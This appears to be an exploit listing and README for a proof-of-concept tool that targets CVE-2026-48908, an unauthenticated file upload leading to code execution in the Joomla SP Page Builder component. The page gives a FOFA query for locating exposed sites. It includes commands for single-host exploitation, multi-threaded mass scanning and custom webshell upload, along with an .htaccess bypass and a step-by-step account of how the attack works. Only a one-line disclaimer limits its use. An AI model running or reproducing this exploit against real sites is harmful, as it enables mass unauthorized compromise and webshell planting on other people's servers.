## https://sploitus.com/exploit?id=A25A8194-A36E-5CC7-AA0F-5EDE71A77ED9
# CVE-2026-48908 โ SP Page Builder Unauthenticated RCE
**SP Page Builder** (`com_sppagebuilder`) for Joomla โค 6.6.1 allows unauthenticated attackers to upload arbitrary files and achieve Remote Code Execution.
| Field | Value |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (Improper Access Control) |
| Component | SP Page Builder (com_sppagebuilder) |
| Affected | 1.0.0 โ 6.6.1 |
| Fixed in | 6.6.2 |
| Privileges | None (pre-authentication) |
| User interaction | None |
## FOFA Query
```
body="com_sppagebuilder"
```
## Usage
### Requirements
- Python 3.8+
```bash
pip install -r requirements.txt
```
### Single host
```bash
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # probe only, no command
python3 exploit_poc.py https://target.example --token abc123 # custom token
```
### Mass scan
```bash
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20 parallel threads
python3 exploit_poc.py --hosts ips.txt --no-verbose # quiet mode
```
### Custom webshell
```bash
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
```
> **Note:** When using `--shell-file`, the script only uploads the webshell and reports the URL. It does **not** run the `-c` command or perform any execution test. The uploaded shell must handle command input independently.
### Options
| Flag | Description |
|---|---|
| `url` | Target URL (positional or `--url`) |
| `--hosts ` | File with one host per line |
| `-c, --cmd ` | Command to execute (default: `id`) |
| `--check` | Probe only, do not run a command |
| `--token ` | Secret guarding the uploaded shell (default: random) |
| `--shell-file ` | Upload a custom PHP webshell instead of the built-in one |
| `-j, --threads ` | Parallel threads for mass scan (default: 10) |
| `--no-verbose` | Suppress per-host verbose output |
## Output
After a scan, three result files are saved:
| File | Content |
|---|---|
| `vulnerable_hosts.txt` | Hosts with confirmed RCE + webshell URLs |
| `not_vulnerable_hosts.txt` | Hosts that are patched or absent |
| `partial_vulnerable_hosts.txt` | Hosts with file-write but no PHP execution |
| `custom_shell_hosts.txt` | Hosts with uploaded custom shell, grouped by base URL (only generated when using `--shell-file`) |
| `scan_results.json` | Full JSON results for all hosts |
## How It Works
The exploit abuses the `com_sppagebuilder` `asset.uploadCustomIcon` task:
1. POST a crafted ZIP (icon-font package) unauthenticated โ no CSRF token required.
2. SPPB extracts the ZIP to `/media/com_sppagebuilder/assets/iconfont//fonts/`.
3. The uploaded PHP file is served publicly.
The script tries multiple PHP extensions (`.php`, `.PHP`, `.pHp`, `.Php`, `.pht`, `.phtml`, etc.) until it finds one that executes.
### htaccess Bypass
When direct PHP extensions are blocked by SPPB's filter, the script drops a `.htaccess` file alongside the payload:
```
AddType application/x-httpd-php .PHP
```
This forces the web server to treat `.PHP` (uppercase) as PHP โ bypassing SPPB's case-sensitive blocklist. Requires `AllowOverride` enabled and PHP execution allowed in `/media`.
> **Note:** The `.htaccess` + uppercase `.PHP` bypass may not work on all configurations like .png or .jpeg. If it fails, the script automatically falls back to other extensions. On servers with `AllowOverride` disabled or PHP execution blocked in `/media`, even uploaded shells will not execute (reported as "write-only").
## Modifications
This PoC is based on https://github.com/papageo75/CVE-2026-48908-PoC/ with the following additions:
### 1. Non-JSON Response Handling
Some server responses may not be valid JSON. The original PoC would crash on `r.json()`. This version parses raw response text to extract JSON data:
**Before:**
```python
try:
data = r.json()
except ValueError:
return None
```
**After:**
```python
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
```
### 2. Mass Scan Support
Added multi-threaded mass scanning capability:
- `--hosts ` โ load targets from a file (one per line)
- `-j, --threads ` โ set parallel thread count (default: 10)
- `--no-verbose` โ suppress per-host verbose output
- Results grouped and saved to categorized `.txt` files
### 3. Custom Webshell Upload
Added `--shell-file ` option to upload a custom PHP webshell instead of the built-in token-guarded shell. When using this option:
- The script uploads the shell without running `-c` commands
- No execution test (`run()`) is performed
- All working extensions are tested and reported
- Results saved to `custom_shell_hosts.txt`
## Disclaimer
AUTHORIZED USE ONLY. For sanctioned penetration tests, CTF, and lab targets only. You are solely responsible for how you use this tool.